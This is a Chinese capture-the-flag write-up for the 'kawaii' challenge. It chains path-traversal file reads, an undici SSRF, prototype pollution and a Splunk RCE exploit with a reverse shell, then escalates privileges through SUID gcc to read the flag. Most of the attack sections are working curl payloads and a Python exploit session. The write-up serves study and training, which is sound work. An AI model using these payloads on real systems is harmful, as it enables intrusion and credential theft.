

Week4 - kawaii

赛题复现文件可在此下载：[🔗 kawaii-docker.zip](#)

根据题目描述中给出的[链接](#)部署相应的服务到服务端（这里以 <http://test.cnily.top:21000> 为例）

▼ 部署方法

安装 Node.js 20.X，新建文件夹，将 Gist 的呢日用复制到文件夹下的 `content-server.js`

在当前文件夹下执行命令

```
npm init -y && npm i -S koa koa-router
```

如果需要修改端口，则修改 `content-server.js` 末尾的 `const PORT = 20380` 部分即可，例如修改成 `const PORT = 21000`

随后启动该文件即可

```
node content-server.js
```

随后通过 `http://host:port` 的方式访问服务，访问 `/content/raw?data=Hello%20World` 路径，如果显示 `Hello World` 这说明部署成功

Fuzz

进入靶机后通过开发者工具跟踪网络请求，按照网页提示点击屏幕任意位置，发现一个可疑的请求

```
http://47.76.71.50:20004/configure?auto=1&type=videoList&uri=http://47.76.71.50:20004/config/video-list?type=yml
```

其中 `url` 字段的值 `http://47.76.71.50:20004/config/video-list?type=yml` 为同源链接，推测可以进行 SSRF 或者任意文件读

200	GET	47.76...	/	document	ht...	5.14 kB	4...	过滤消息头	拦截 重发
200	GET	47.76...	favicon.ico	FaviconL...	vn...	已缓存	24...	GET http://47.76.71.50:20004/configure?auto=1&type=videoList&uri=ht tp://47.76.71.50:20004/config/video-list?type=yml	
200	GET	47.76...	configure?auto=1&type=vide	/:115 (fe...	json	180 字节	38...		
200	GET	47.76...	video-list?type=yml	/:121 (fe...	json	158 字节	16...	状态 200 OK ? 版本 HTTP/1.1 传输 180 字节 (大小 38 字节) Referrer 策略 strict-origin-when-cross-origin 请求优先级 Highest DNS 解析 系统	
302	GET	47.76...	BV1Mg4y1D7tU	/:140 (su...	ht...	3.48 kB	12...		
200	GET	www....	html5mobileplayer.html?bvid=	subdocu...	ht...	3.55 kB	12...		
200	GET	s1.hd...	log-reporter.js	script	js	42.15 kB	12...		
200	GET	s1.hd...	mplayer.js?bver=20240118	script	js	115.39 kB	47...		
200	GET	s1.hd...	950.ee096.function.chunk.js	log-repo...	js	2.50 kB	98...	响应头 (142 字节) 原始	
200	GET	s1.hd...	512.65972.function.chunk.js	log-repo...	js	3.05 kB	4...		
200	GET	s1.hd...	86.fd3f7.function.chunk.js	log-repo...	js	2.71 kB	3...	Connection: close Content-Length: 38 Content-Type: application/json; charset=utf-8 Date: Sun, 11 Feb 2024 11:52:03 GMT	
200	GET	api.bil...	spi	log-repo...	json	864 字节	21...		
200	GET	api.bil...	view?bvid=BV1Mg4y1D7tU	mplayer.j...	json	5.51 kB	19...	请求头 (431 字节) 原始	
200	P...	data....	web?0000141707652327239ht	log-repo...	pl...	547 字节	2 ...		
200	GET	s1.hd...	loading.svg	mplayer.j...	svg	1.89 kB	3...	Accept: /*/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-U S;q=0.3,en;q=0.2 Connection: keep-alive Host: 47.76.71.50:20004 Referer: http://47.76.71.50:20004/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Ge cko/20100101 Firefox/123.0	
200	GET	api.bil...	playurl?avid=835763150&cid=	mplayer.j...	json	1.62 kB	1...		
200	P...	data....	web?0000141707652327272ht	mplayer.j...	pl...	547 字节	2 ...		
200	P...	data....	web?0000171707652327272ht	mplayer.j...	pl...	547 字节	2 ...		
200	P...	data....	web?0000161707652327273ht	mplayer.j...	pl...	547 字节	2 ...		
200	P...	data....	web?0000171707652327285ht	log-repo...	pl...	547 字节	2 ...		
200	GET	i0.hds...	84257e99f85ffaa98501686851	mplayer.j...	jp...	13.82 kB	12...		
200	GET	i0.hdsb...	84257e99f85ffaa98501686851	img	jp...	已缓存	16...		
200	P...	data....	web?0133241707652327583ht	log-repo...	pl...	547 字节	2 ...		
200	O...	api.bil...	ExClimbWuzhi	xhr	pl...	807 字节	0 ...		
200	GET	upos-sz-...	1393528722-1-16.mp4?e=ig8e	media					
200	P...	api.bil...	ExClimbWuzhi	log-repo...	json	910 字节	42...		
200	GET	s1.hd...	jsc-204.5b1de757.js	mplayer.j...	js	24.21 kB	80...		
200	GET	s1.hd...	jsc-danmaku.debc02cd.js	mplayer.j...	js	23.41 kB	79...		
200	P...	data....	web?0133241707652327576ht	log-repo...	pl...	547 字节	2 ...		
200	P...	data....	web?0000171707652327870ht	log-repo...	pl...	547 字节	2 ...		
200	GET	api.bil...	v2?cid=1393528722&aid=835	mplayer.j...	json	2.27 kB	2...		
200	GET	data....	web?001111170765232787017	mplayer.j...	pl...	547 字节	2 ...		
200	P...	data....	web?0000171707652327875ht	log-repo...	pl...	547 字节	2 ...		
200	P...	data....	web?0000171707652327876ht	log-repo...	pl...	547 字节	2 ...		
61 个请求 已传输 1 MB / 345.05 kB 完成: 6.22 分钟 DOMContentLoaded: 154									

发送请求

```
GET /configure?auto=1&type=videoList&uri=http://47.76.71.50:20004/config/video
-list?type=yml HTTP/1.1
Host: 47.76.71.50:20004
```

返回的 message 却是 nothing to do ，只需要把 URL 参数 auto 改成 0 即可，当 auto=1 时不会覆盖，所以返回了 nothing to do

任意文件读

模糊测试下面几个路径

```
/config/video-list?type=yml  
/config/video-list?type=json  
/config/video-list  
/config/video-list.yml  
/config/video-list.json
```

发现 `/config/video-list.yml` 返回了 YAML 文件的具体内容

使用 curl 命令尝试任意文件读

```
curl http://47.76.71.50:20004/config/..%2F..%2F..%2Fetc%2Fpasswd
```

成功获取 `/etc/passwd` 中的内容，并且注意到末行

```
splunk:x:1000:1000:Splunk Server:/opt/splunk:/bin/bash
```

含有 `splunk` 用户，推测内网具有 Splunk 服务

任意文件读 `package.json` `index.js`

```
curl http://47.76.71.50:20004/config/..%2Fpackage.json
```

▼ package.json

JSON |

```
1 {  
2   "name": "easy_splunk_with_node",  
3   "description": "Splunk port: 8000, Password: {\\"74pR7VT\\"'K",  
4   "dependencies": {  
5     "koa": "^2.15.0",  
6     "koa-router": "^12.0.1",  
7     "koa-static": "^5.0.0",  
8     "undici": "^5.8.0",  
9     "yaml": "^2.3.4"  
10  }  
11 }
```

```
curl http://47.76.71.50:20004/config/..%2Findex.js
```

```
1  const koa = require("koa")
2  const Router = require("koa-router")
3  const static = require("koa-static")
4  const fs = require("fs")
5  const path = require("path")
6  const { mergeJSON } = require("./src/utils")
7  const { koaBody } = require("./src/middleware")
8  const YAML = require("yaml")
9
10 const undici = require("undici")
11
12 const app = new koa()
13 const router = new Router()
14
15 global.database = {
16   videoList: []
17 }
18
19 global.api = {}
20
21 const isTrue = v => (v === "true" || (/^\-?\d+$/).test(v) && parseInt(v) !== 0)
22
23 router.get("/video/:vid?", async (ctx, next) => {
24   let vid = ctx.params.vid
25   if (typeof vid === "undefined" || vid === "") ctx.redirect("/")
26   else ctx.redirect(`/v=${vid}`)
27 })
28
29 router.get("/configure", async (ctx, next) => {
30   let { auto, uri, type } = ctx.query
31   if (type === "videoList") {
32     if (isTrue(auto)) {
33       if (global.database.videoList.length > 0)
34         return ctx.body = { code: 200, message: "nothing to do" }
35     }
36     try {
37       const resp = await undici.request(uri).then(r => r.body.json())
38       global.database.videoList = mergeJSON(global.database.videoList || [], resp)
39       return ctx.body = { code: 200, message: "success" }
40     } catch (err) { console.error(err); ctx.status = 500; return ctx.body = { code: 500, message: "error" } }
```

```

41     } else {
42         ctx.status = 400
43         return ctx.body = { code: 400, message: "unknown type" }
44     }
45 })
46
47 router.get("/config/:name", async (ctx, next) => {
48     try {
49         let name = ctx.params.name
50         let type = ctx.query.type
51         let ext = ({
52             "json": ".json",
53             "yaml": ".yaml",
54             "yml": ".yml",
55         })[type || ""] || ""
56         if (name.endsWith(ext)) name = name.slice(0, name.length - ext.length)
57         let fp = __dirname + "/config/" + name + ext
58         if (!fs.existsSync(fp)) { ctx.status = 404; return ctx.body = "Not Found" }
59         let content = fs.readFileSync(fp, "utf-8")
60         if (ext !== "") {
61             let parsed = null
62             if (ext === ".json") parsed = JSON.parse(content)
63             else if (ext === ".yaml") parsed = YAML.parse(content)
64             return ctx.body = parsed
65         } else { return ctx.body = content }
66     } catch (err) { console.error(err); ctx.status = 500; return ctx.body = "Internal Server Error" }
67 })
68
69 router.get("/fetch/video/:id?", async (ctx, next) => {
70     let id_key = "", id = ctx.params.id
71
72     // if id is not defined, randomly choose one
73     if (typeof id === "undefined" || id === "") {
74         let len = 0, i = 0
75         while (typeof global.database.videoList[i] === "string") i++
76         len = i
77         id = global.database.videoList[Math.floor(Math.random() * len)]
78     }
79
80     // auto detect av or BV
81     if (/^av/.test(id)) { id_key = "aid"; id = id.slice(2) }
82     else if (/^BV/.test(id)) id_key = "bvid"
83
84     let reformed_ctx_headers = mergeJSON({}, ctx.req.headers);

```

```

85     [
86         'host', 'origin', 'referer', 'connection', 'accept-encoding',
87         ...Object.keys(ctx.headers).filter(v => v.startsWith("sec-"))
88     ].forEach(v => delete reformed_ctx_headers[v])
89
90     // auto follow redirect
91     /**
92      * @type {Promise<undici.Dispatcher.ResponseData>}
93      */
94     const r = new Promise(async (resolve, reject) => {
95         let urlobj = {
96             origin: "http://api.bilibili.com",
97             pathname: (((global.api || {}).cid || {}).path || "/x/player/
pagelist?%s&jsonp=jsonp").replace("%s", `${id_key}=${id}`),
98         }
99         let opts = {
100             method: ((global.api || {}).cid || {}).method || "GET",
101             headers: reformed_ctx_headers, body: ctx.rawBody
102         }
103         while (true) {
104             try {
105                 const resp = await undici.request(urlobj, opts).catch(e => { throw e })
106                 if ([301, 302, 303, 307, 308].includes(resp.statusCode)) {
107                     if (resp.headers.location) {
108                         let u = new URL(resp.headers.location)
109                         urlobj.origin = u.origin
110                         urlobj.pathname = u.pathname
111                         continue
112                     }
113                 }
114                 return resolve(resp)
115             } catch (e) { return reject(e) }
116         }
117     })
118
119     // result
120     let [status, header, body] = await new Promise((resolve, reject) => {
121         let chunk = ""
122         let header = {}
123         r.then(resp => {
124             resp.body.on("data", data => {
125                 chunk += data
126             })
127             resp.body.on("end", () => {
128                 for (const key of Object.keys(resp.headers)) {

```

```

129             let value = resp.headers[key]
130             header[key.split('-').map(v => v[0].toUpperCase() +
v.slice(1)).join('-')] = value
131         }
132         resolve([resp.statusCode, header, chunk])
133     })
134     }).catch(err => {
135         console.error(err)
136         reject(err)
137     })
138 })
139 let cid
140 try {
141     cid = JSON.parse(body).data[0].cid
142     if (typeof cid === "undefined") throw new Error("cid is undefine
d")
143     const prefix_arr = [
144         "https://player.bilibili.com/player.html",
145         "https://www.bilibili.com/blackboard/html5mobileplayer.html"
146     ]
147     let prefix = prefix_arr[Math.floor(Math.random() * prefix_arr.len
gth)]
148     ctx.redirect(`${prefix}?${id_key}=${id}&cid=${cid}&page=1&danmaku
=1&as_wide=1&high_quality=1&rel=0&autoplay=1&t=0&crossDomain=1`)
149     } catch (err) {
150         console.error(err)
151         ctx.status = 500
152         return ctx.body = {
153             code: 500,
154             message: err.message || err,
155             response: {
156                 status: status,
157                 header: header,
158                 body: body
159             }
160         }
161     }
162 })
163 })
164
165 app.use(koaBody())
166 app.use(router.routes()).use(router.allowedMethods())
167 app.use(static(path.resolve(__dirname, "../public")))
168
169 const PORT = 30080
170 app.listen(PORT, () => {
171     console.info(`Listening on port ${PORT}`)

```

发现确实存在 Splunk 内网服务，端口 `8000`，密码 `{"74pR7VT"'K`

我们所看到的网页，内网服务开在 `30080` 端口上

拿到源码之后，我们可以知道 `/config` 路由能够任意文件读的原因，在此不赘述

探寻：服务端请求伪造（SSRF）

我们已经拿到了源码，源码中 `/configure` 路由中第 37 行如下

```
const resp = await undici.request(uri).then(r => r.body.json()).catch(err =>
{ throw err })
```

不存在路径过滤，存在 SSRF

▼ `/configure` 路由的 SSRF 验证

在 `auto=0` 的前提下，将 `uri` 改成 `http://127.0.0.1:30080/config/video-list?type=yml`

```
GET /configure?auto=0&type=videoList&uri=http://127.0.0.1:30080/config/v
ideo-list?type=yml HTTP/1.1
Host: 47.76.71.50:20004
```

返回

```
{"code":200,"message":"success"}
```

可见确实存在 SSRF

`/configure` 路由的 SSRF 仅限基础的 GET 请求，并且没有回显

继续查看源码，查找含 `request` 方法的地方，发现 `/fetch/video/:id` 路由下也具有发送请求包的功能（`index.js` 第 94 ~ 117 行）

▼ 路由 /fetch/video/:id

JavaScript |

```
1 const r = new Promise(async (resolve, reject) => {
2   let urlobj = {
3     origin: "http://api.bilibili.com",
4     pathname: (((global.api || {}).cid || {}).path || "/x/player/pageList?s&jsonp=jsonp").replace("%s", `${id_key}=${id}`),
5   }
6   let opts = {
7     method: ((global.api || {}).cid || {}).method || "GET",
8     headers: reformed_ctx_headers, body: ctx.rawBody
9   }
10  while (true) {
11    try {
12      const resp = await undici.request(urlobj, opts).catch(e => { throw e })
13      if ([301, 302, 303, 307, 308].includes(resp.statusCode)) {
14        if (resp.headers.location) {
15          let u = new URL(resp.headers.location)
16          urlobj.origin = u.origin
17          urlobj.pathname = u.pathname
18          continue
19        }
20      }
21      return resolve(resp)
22    } catch (e) { return reject(e) }
23  }
24 }
```

从 `package.json` 中得知 `undici` 的版本为 `5.8.0`，而该版本存在 [CVE-2022-35949](#)，可用于 SSRF，只需使得 `pathname` 为 `//127.0.0.1` 开头即可，例如替换成 `//test.cnily.top:21000/raw?data=Heelo%20World`

并且根据前面第 84 ~ 88 行的内容，该 SSRF 能够传递请求头

▼ 路由 /fetch/video/:id

JavaScript |

```
1 let reformed_ctx_headers = mergeJSON({}, ctx.req.headers);
2 [
3   'host', 'origin', 'referer', 'connection', 'accept-encoding',
4   ...Object.keys(ctx.headers).filter(v => v.startsWith("sec-"))
5 ].forEach(v => delete reformed_ctx_headers[v])
```

根据第 139 ~ 161 行的内容

```
1  let cid
2  try {
3    cid = JSON.parse(body).data[0].cid
4    if (typeof cid === "undefined") throw new Error("cid is undefined")
5    const prefix_arr = [
6      "https://player.bilibili.com/player.html",
7      "https://www.bilibili.com/blackboard/html5mobileplayer.html"
8    ]
9    let prefix = prefix_arr[Math.floor(Math.random() * prefix_arr.length)]
10   ctx.redirect(`${prefix}?${id_key}=${id}&cid=${cid}&page=1&danmaku=1&as
    _wide=1&high_quality=1&rel=0&autoplay=1&t=0&crossDomain=1`)
11 } catch (err) {
12   console.error(err)
13   ctx.status = 500
14   return ctx.body = {
15     code: 500,
16     message: err.message || err,
17     response: {
18       status: status,
19       header: header,
20       body: body
21     }
22   }
23 }
```

当通过 `fetch/video/:id` 路由的 SSRF 成功，会触发 `JSON.parse(body)` 的报错，从而得到包括状态码、响应头和响应体在内的内容

探寻：原型链污染

注意上面代码块中的 `mergeJSON`，跟踪到 `index.js` 开头

```
const { mergeJSON } = require("../src/utils")
```

跟踪到 `src/utils.js`

```
curl http://47.76.71.50:20004/config/..%2Fsrc%2Futils.js
```

```

1  const mergeJSON = function (target, patch, deep = false) {
2      if (typeof patch !== "object") return patch;
3      if (Array.isArray(patch)) return patch; // do not recurse into arrays
4      if (!target) target = {}
5      if (deep) { target = copyJSON(target), patch = copyJSON(patch); }
6      for (let key in patch) {
7          if (key === "__proto__") continue;
8          if (target[key] !== patch[key])
9              target[key] = mergeJSON(target[key], patch[key]);
10     }
11     return target;
12 }

```

只过滤了 `__proto__`，但我们仍然可以通过 `constructor.prototype` 进行原型链污染

但是 `ctx.req.headers` 可控的是单层的 key-value 对，无法实现多层，不能顺利污染

在 `index.js` 中全局搜索 `mergeJSON` 方法，先前的 `/configure` 路由中包含一处（`index.js` 第 29 ~ 45 行）

```

1  router.get("/configure", async (ctx, next) => {
2      let { auto, uri, type } = ctx.query
3      if (type === "videoList") {
4          if (isTrue(auto)) {
5              if (global.database.videoList.length > 0)
6                  return ctx.body = { code: 200, message: "nothing to do" }
7          }
8          try {
9              const resp = await undici.request(uri).then(r => r.body.json())
                .catch(err => { throw err })
10             global.database.videoList = mergeJSON(global.database.videoList || [], resp)
11             return ctx.body = { code: 200, message: "success" }
12         } catch (err) { console.error(err); ctx.status = 500; return ctx.body = { code: 500, message: "error" } }
13     } else {
14         ctx.status = 400
15         return ctx.body = { code: 400, message: "unknown type" }
16     }
17 })

```

注意下列内容

```
1  const resp = await undici.request(uri).then(r => r.body.json()).catch(err => { throw err })
2  global.database.videoList = mergeJSON(global.database.videoList || [], resp)
```

而 `resp` 的内容完全可控，这就是用到题目描述给出的链接的地方，通过我们部署的 <http://test.cnily.top:21000> 就可以实现原型链污染

通过原型链污染实现 SSRF

我们已经得到

- `/config` 路由具有任意文件读
- `/configure` 路由可以实现原型链污染
- `/fetch/video/:id` 路由可以实现 SSRF（发送请求）

根据 `/fetch/video/:id` 路由的源码，我们可以构造 payload 对 `/configure` 路由进行原型链污染

一个 payload JSON 如下

```
1  {
2    "0": "BV1Mg4y1D7tU",
3    "constructor": {
4      "prototype": {
5        "a": {
6          "constructor": {
7            "prototype": {
8              "cid": {
9                "path": "//127.0.0.1:8000",
10               "method": "GET"
11             }
12           }
13         }
14       }
15     }
16   }
17 }
```

因为 merge 的 `global.database.videoList` 是一个 Array，而我们需要污染到 Object 对象，所以先通过原型链为 `Array.prototype` 植入 `a` 这个 Object 实例，然后对 `a.constructor.prototype` 进行污染就能污染到所有对象

如果 `__proto__` 没有禁用，直接构造 `__proto__.__proto__` 即可

需要注意的是，`{}.constructor.prototype` 与 `{}.__proto__` 相同，设为 `A`，但是 `A.constructor.prototype` 与 `A.__proto__` 并不相同，前者回到了自身，而后者指向了 `Object`

因此本题中创建一个 `a` 变量作为 `Object` 对象的实例，从而可以通过 `constructor.prototype` 访问到原型

通过 `/configure` 路由触发污染（下列 `uri` 字段的内容可通过[此 CyberChef 配方](#)生成）

```
curl http://47.76.71.50:20004/configure?auto=0&type=videoList&uri=http%3A%2F%2Ftest%2Ecnily%2Etop%3A21000%2Fcontent%2Fbase64%3Fdata%3DeyJwIjoiQlYxTWc0eTFEN3RVIIwiY29uc3RydWN0b3IiOnsicHJvdG90eXB1Ijp7ImEiOnsiY29uc3RydWN0b3IiOnsicHJvdG90eXB1Ijp7ImNpZCI6eyJwYXRoIjoiLy8xMjcucMC4wLjE6ODAwMCIsIm1ldGhvZCI6IkdFVCJ9fX19fX19
```

返回

```
{"code":200,"message":"success"}
```

通过 `/fetch/video/:id` 路由触发请求

```
1 curl http://47.76.71.50:20004/fetch/video/BV1Mg4y1D7tU
```

远程代码执行（RCE）

我们通过任意文件读获取 Splunk 服务的版本号，访问 `/opt/splunk/etc/splunk.version` 路径

```
curl http://47.76.71.50:20004/config/..%2F..%2F..%2Fopt%2Fsplunk%2Fetc%2Fsplunk.version
```

```
VERSION=9.0.5
BUILD=e9494146ae5c
PRODUCT=splunk
PLATFORM=Linux-x86_64
```

Splunk 9.0.5 版本具有 CVE-2023-46214 远程代码执行漏洞，有[现成的 EXP 脚本](#)可以使用

我们只需要重写该 EXP 脚本中的 `Session` 对象，通过先污染再触发请求，随后将 `/fetch/video/:id` 路由的返回数据封装进 `Response` 对象中即可

```
1 def enc_b64(string):
2     return b64encode(string.encode()).decode(encoding="utf-8")
3
4 class SSRFSession():
5     def __init__(self, url) -> None:
6         self.session = requests.Session()
7         self.url = url
8         self.cookies = self.session.cookies
9
10    def get_cookies_for_path(self, cookie_jar, path):
11        cookie_header = []
12        for cookie in cookie_jar:
13            if not path.startswith("/"):
14                path = "/" + path
15            if not path.endswith("/"):
16                path = path + "/"
17            if cookie.path and (path.startswith(cookie.path)):
18                cookie_header.append(f"{cookie.name}={cookie.value}")
19        return "; ".join(cookie_header)
20
21    def extract_path(self, url):
22        path = url.split("://")[1]
23        path = path.split("/", 1)
24        path = "" if len(path) <= 1 else path[1]
25        return path
26
27    # 原型链污染
28    def pollute(self, path, method):
29        method = method.upper()
30        json_exp = {
31            "0": "BV1Mg4y1D7tU",
32            "constructor": {
33                "prototype": {
34                    "a": {
35                        "constructor": {
36                            "prototype": {
37                                "cid": {
38                                    "path": f"://{SSRF_SPLUNK_SERVER}/" +
39path,
39                                "method": method
40                            }
41                        }
42                    }
43                }
```

```

44         }
45     }
46 }
47 json_text = json.dumps(json_exp)
48 config_url = CONTENT_SERVER.format(enc_b64(json_text))
49 resp = requests.get(f"{self.url}/configure?auto=0&type=videoList&
uri=" + config_url)
50 json_resp = resp.json()
51 if json_resp["code"] != 200:
52     print("[-] Pollute SSRF request data failed")
53     exit()
54
55 def request(self, url, _method, **kwargs):
56     path = self.extract_path(url)
57
58     # 先进行污染
59     self.pollute(path, _method)
60
61     if "headers" not in kwargs:
62         kwargs["headers"] = {}
63     kwargs["headers"]["Cookie"] = self.get_cookies_for_path(self.cookies, path)
64
65     # 触发请求
66     response = self.session.get(f"{self.url}/fetch/video/BV1Mg4y1D
7", **kwargs)
67     json_response = response.json()
68     # 写入 Response 对象
69     response.status_code = json_response["response"]["status"]
70     response.headers = json_response["response"]["header"]
71     response._content = json_response["response"]["body"].encode()
72     # 处理 Cookie
73     if "Set-Cookie" in response.headers:
74         if isinstance(response.headers['Set-Cookie'], str):
75             response.headers['Set-Cookie'] = [response.headers['Set-C
76             ookie']]
77         for one_cookie in response.headers['Set-Cookie']:
78             sc = SimpleCookie()
79             sc.load(one_cookie)
80             for morse in sc.values():
81                 _kwargs = {}
82                 if not morse.get("expires", None):
83                     expires = datetime.datetime.strptime(
84                         morse["expires"], "%a, %d %b %Y %H:%M:%S %Z")
85                     _kwargs["expires"] = expires.timestamp()
86                 if not morse.get("domain", None):
87                     _kwargs["domain"] = morse["domain"]

```

```

87         if not not morse.get("path", None):
88             _kwargs["path"] = morse["path"]
89         if not not morse.get("secure", None):
90             _kwargs["secure"] = morse["secure"]
91         if not not morse.get("httponly", None):
92             _kwargs["rest"] = {"HttpOnly": morse["httponly"]}
93         self.session.cookies.set(
94             name=morse.key,
95             value=morse.value,
96             **_kwargs
97         )
98
99     return response
100
101     def get(self, url, **kwargs):
102         return self.request(url, "get", **kwargs)
103
104     def post(self, url, **kwargs):
105         return self.request(url, "post", **kwargs)

```

随后将 `main()` 函数中的 `session` 替换成自定义的对象

```
session = SSRFSession(args.target)
```

命令执行

```
python solve.py --url http://47.76.71.50:20004 --username admin --password "
{"74pR7VT\"'K" --ip <Shell 反弹的 IP> --port <Shell 反弹的端口>
```

在服务器上 `nv -lvp <Shell 反弹的端口>` 获得 shell

▼ RCE 一把梭脚本

在[这里](#)下载或查看

编辑下面这两行，分别替换成靶机地址和 base64 解码的在线地址（`{}` 代表 base64 字符串填充的地方）

```
TARGET_SERVER = "http://47.76.71.50:20004"
CONTENT_SERVER = "http://test.cnily.top:21000/content/base64?data={}"
```

随后运行它执行任意命令

```
python kawaii-exploit.py -c "任意命令"
```

注意，它是没有回显的，可以使用反弹 shell 等方式实现回显

GCC 提权

运行 `ls /` 发现根目录下有 `/flag.txt`，但是 `cat` 它却提示 `Permission denied`，需要提权
查找具有 SUID 的文件

```
find / -perm -u=s -type f 2>/dev/null
```

fl

```
/usr/bin/chfn  
/usr/bin/newgrp  
/usr/bin/chsh  
/usr/bin/umount  
/usr/bin/passwd  
/usr/bin/gpasswd  
/usr/bin/mount  
/usr/bin/su  
/usr/bin/x86_64-linux-gnu-g++-9  
/usr/bin/x86_64-linux-gnu-gcc-9  
/usr/bin/sudo
```

可见 `gcc` 和 `g++` 具有 SUID，运用它们的报错进行读取

```
gcc -x c /flag.txt
```

```
/flag.txt:1:6: error: expected '=', ',', ';', 'asm' or '__attribute__' before  
'{' token  
  1 | SBCTF{bd20378d2cec62466eafe60de34e18c0}  
    |      ^
```

由此获得 flag